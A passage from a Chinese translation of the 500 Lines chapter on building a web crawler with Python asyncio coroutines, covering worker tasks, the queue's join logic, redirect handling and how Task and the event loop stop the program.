一旦 `crawl` 注销了 worker,它就退出。同时事件循环看见这个协程结束了(我们后面会见到的),也就退出。
```
loop.run_until_complete(crawler.crawl())
```
`crawl` 方法包含了所有主协程需要做的事。而 worker 则完成从队列中获取 URL、获取网页、解析它们得到新的链接。每个 worker 独立地运行 `work` 协程:
```
@asyncio.coroutine
def work(self):
while True:
url, max_redirect = yield from self.q.get()
# Download page and add new links to self.q.
yield from self.fetch(url, max_redirect)
self.q.task_done()
```
Python 看见这段代码包含 `yield from` 语句,就把它编译成生成器函数。所以在 `crawl` 方法中,我们调用了 10 次 `self.work`,但并没有真正执行,它仅仅创建了 10 个指向这段代码的生成器对象并把它们包装成 Task 对象。task 接收每个生成器所 yield 的 future,通过调用 `send` 方法,当 future 解决时,用 future 的结果做为 `send` 的参数,来驱动它。由于生成器有自己的栈帧,它们可以独立运行,带有独立的局部变量和指令指针。
worker 使用队列来协调其小伙伴。它这样等待新的 URL:
```
url, max_redirect = yield from self.q.get()
```
队列的 `get` 方法自身也是一个协程,它一直暂停到有新的 URL 进入队列,然后恢复并返回该条目。
碰巧,这也是当主协程注销 worker 时,最后 crawl 停止,worker 协程暂停的地方。从协程的角度,`yield from` 抛出`CancelledError` 结束了它在循环中的最后旅程。
worker 获取一个网页,解析链接,把新的链接放入队列中,接着调用`task_done`减小计数器。最终一个worker遇到一个没有新链接的网页,并且队列里也没有任务,这次`task_done`的调用使计数器减为0,而`crawl`正阻塞在`join`方法上,现在它就可以结束了。
我们承诺过要解释为什么队列中要使用序对,像这样:
```
# URL to fetch, and the number of redirects left.
('http://xkcd.com/353', 10)
```
新的 URL 的重定向次数是10。获取一个特别的 URL 会重定向一个新的位置。我们减小重定向次数,并把新的 URL 放入队列中。
```
# URL with a trailing slash. Nine redirects left.
('http://xkcd.com/353/', 9)
```
我们使用的 `aiohttp` 默认会跟踪重定向并返回最终结果。但是,我们告诉它不要这样做,爬虫自己来处理重定向,以便它可以合并那些目的相同的重定向路径:如果我们已经在 `self.seen_urls` 看到一个 URL,说明它已经从其他的地方走过这条路了。

crawler 获取“foo”并发现它重定向到了“baz”,所以它会加“baz”到队列和 `seen_urls` 中。如果它获取的下一个页面“bar” 也重定向到“baz”,fetcher 不会再次将 “baz”加入到队列中。如果该响应是一个页面,而不是一个重定向,`fetch` 会解析它的链接,并把新链接放到队列中。
```
@asyncio.coroutine
def fetch(self, url, max_redirect):
# Handle redirects ourselves.
response = yield from self.session.get(
url, allow_redirects=False)
try:
if is_redirect(response):
if max_redirect > 0:
next_url = response.headers['location']
if next_url in self.seen_urls:
# We have been down this path before.
return
# Remember we have seen this URL.
self.seen_urls.add(next_url)
# Follow the redirect. One less redirect remains.
self.q.put_nowait((next_url, max_redirect - 1))
else:
links = yield from self.parse_links(response)
# Python set-logic:
for link in links.difference(self.seen_urls):
self.q.put_nowait((link, self.max_redirect))
self.seen_urls.update(links)
finally:
# Return connection to pool.
yield from response.release()
```
如果这是多进程代码,就有可能遇到讨厌的竞争条件。比如,一个 worker 检查一个链接是否在 `seen_urls` 中,如果没有它就把这个链接加到队列中并把它放到 `seen_urls` 中。如果它在这两步操作之间被中断,而另一个 worker 解析到相同的链接,发现它并没有出现在 `seen_urls` 中就把它加入队列中。这(至少)导致同样的链接在队列中出现两次,做了重复的工作和错误的统计。
然而,一个协程只在 `yield from` 时才会被中断。这是协程比多线程少遇到竞争条件的关键。多线程必须获得锁来明确的进入一个临界区,否则它就是可中断的。而 Python 的协程默认是不会被中断的,只有它明确 yield 时才主动放弃控制权。
我们不再需要在用回调方式时用的 fetcher 类了。这个类只是不高效回调的一个变通方法:在等待 I/O 时,它需要一个存储状态的地方,因为局部变量并不能在函数调用间保留。倒是 `fetch` 协程可以像普通函数一样用局部变量保存它的状态,所以我们不再需要一个类。
当 `fetch` 完成对服务器响应的处理,它返回到它的调用者 `work`。`work` 方法对队列调用 `task_done`,接着从队列中取出一个要获取的 URL。
当 `fetch` 把新的链接放入队列中,它增加未完成的任务计数器,并停留在主协程,主协程在等待 `q.join`,处于暂停状态。而当没有新的链接并且这是队列中最后一个 URL 时,当 `work 调用`task\_done`,任务计数器变为 0,主协程从`join` 中退出。
与 worker 和主协程一起工作的队列代码像这样(实际的 `asyncio.Queue` 实现在 Future 所展示的地方使用 `asyncio.Event` 。不同之处在于 Event 是可以重置的,而 Future 不能从已解决返回变成待决。)
```
class Queue:
def __init__(self):
self._join_future = Future()
self._unfinished_tasks = 0
# ... other initialization ...
def put_nowait(self, item):
self._unfinished_tasks += 1
# ... store the item ...
def task_done(self):
self._unfinished_tasks -= 1
if self._unfinished_tasks == 0:
self._join_future.set_result(None)
@asyncio.coroutine
def join(self):
if self._unfinished_tasks > 0:
yield from self._join_future
```
主协程 `crawl` yield from `join`。所以当最后一个 worker 把计数器减为 0,它告诉 `crawl` 恢复运行并结束。
旅程快要结束了。我们的程序从 `crawl` 调用开始:
```
loop.run_until_complete(self.crawler.crawl())
```
程序如何结束?因为 `crawl` 是一个生成器函数,调用它返回一个生成器。为了驱动它,asyncio 把它包装成一个 task:
```
class EventLoop:
def run_until_complete(self, coro):
"""Run until the coroutine is done."""
task = Task(coro)
task.add_done_callback(stop_callback)
try:
self.run_forever()
except StopError:
pass
class StopError(BaseException):
"""Raised to stop the event loop."""
def stop_callback(future):
raise StopError
```
当这个任务完成,它抛出 `StopError`,事件循环把这个异常当作正常退出的信号。
但是,task 的 `add_done_callbock` 和 `result` 方法又是什么呢?你可能认为 task 就像一个 future,不错,你的直觉是对的。我们必须承认一个向你隐藏的细节,task 是 future。
```
class Task(Future):
"""A coroutine wrapped in a Future."""
```
通常,一个 future 被别人调用 `set_result` 解决。但是 task,当协程结束时,它自己解决自己。记得我们解释过当 Python 生成器返回时,它抛出一个特殊的 `StopIteration` 异常:
```
# Method of class Task.
def step(self, future):
try:
next_future = self.coro.send(future.result)
except CancelledError:
self.cancelled = True
return
except StopIteration as exc:
# Task resolves itself with coro's return
# value.
self.set_result(exc.value)
return
next_future.add_done_callback(self.step)
```
所以当事件循环调用 `task.add_done_callback(stop_callback)`,它就准备被这个 task 停止。在看一次`run_until_complete`:
```
# Method of event loop.
def run_until_complete(self, coro):
task = Task(coro)
task.add_done_callback(stop_callback)
try:
self.run_forever()
except StopError:
pass
```
当 task 捕获 `StopIteration` 并解决自己,这个回调从循环中抛出 `StopError`。循环结束,调用栈回到`run_until_complete`。我们的程序结束。
### 总结
现代的程序越来越多是 I/O 密集型而不是 CPU 密集型。对于这样的程序,Python 的线程在两个方面不合适:全局解释器锁阻止真正的并行计算,并且抢占切换也导致他们更容易出现竞争。异步通常是正确的选择。但是随着基于回调的异步代码增加,它会变得非常混乱。协程是一个更整洁的替代者。它们自然地重构成子过程,有健全的异常处理和栈追溯。
如果我们换个角度看 `yield from` 语句,一个协程看起来像一个传统的做阻塞 I/O 的线程。甚至我们可以采用经典的多线程模式编程,不需要重新发明。因此,与回调相比,协程更适合有经验的多线程的编码者。
但是当我们睁开眼睛关注 `yield from` 语句,我们能看到协程放弃控制权、允许其它人运行的标志点。不像多线程,协程展示出我们的代码哪里可以被中断哪里不能。在 Glyph Lefkowitz 富有启发性的文章“[Unyielding](https://glyph.twistedmatrix.com/2014/02/unyielding.html)”:“线程让局部推理变得困难,然而局部推理可能是软件开发中最重要的事”。然而,明确的 yield,让“通过过程本身而不是整个系统理解它的行为(和因此、正确性)”成为可能。
这章写于 Python 和异步的复兴时期。你刚学到的基于生成器的的协程,在 2014 年发布在 Python 3.4 的 asyncio 模块中。2015 年 9 月,Python 3.5 发布,协程成为语言的一部分。这个原生的协程通过“async def”来声明, 使用“await”而不是“yield from”委托一个协程或者等待 Future。
除了这些优点,核心的思想不变。Python 新的原生协程与生成器只是在语法上不同,工作原理非常相似。事实上,在 Python 解释器中它们共用同一个实现方法。Task、Future 和事件循环在 asynico 中扮演着同样的角色。
你已经知道 asyncio 协程是如何工作的了,现在你可以忘记大部分的细节。这些机制隐藏在一个整洁的接口下。但是你对这基本原理的理解能让你在现代异步环境下正确而高效的编写代码。
(题图素材来自:[ruth-tay.deviantart.com](http://ruth-tay.deviantart.com/art/Bearded-Vulture-553800995))
---
via: <http://aosabook.org/en/500L/pages/a-web-crawler-with-asyncio-coroutines.html>
作者:A. Jesse Jiryu Davis , Guido van Rossum 译者:[qingyunha](https://github.com/qingyunha) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.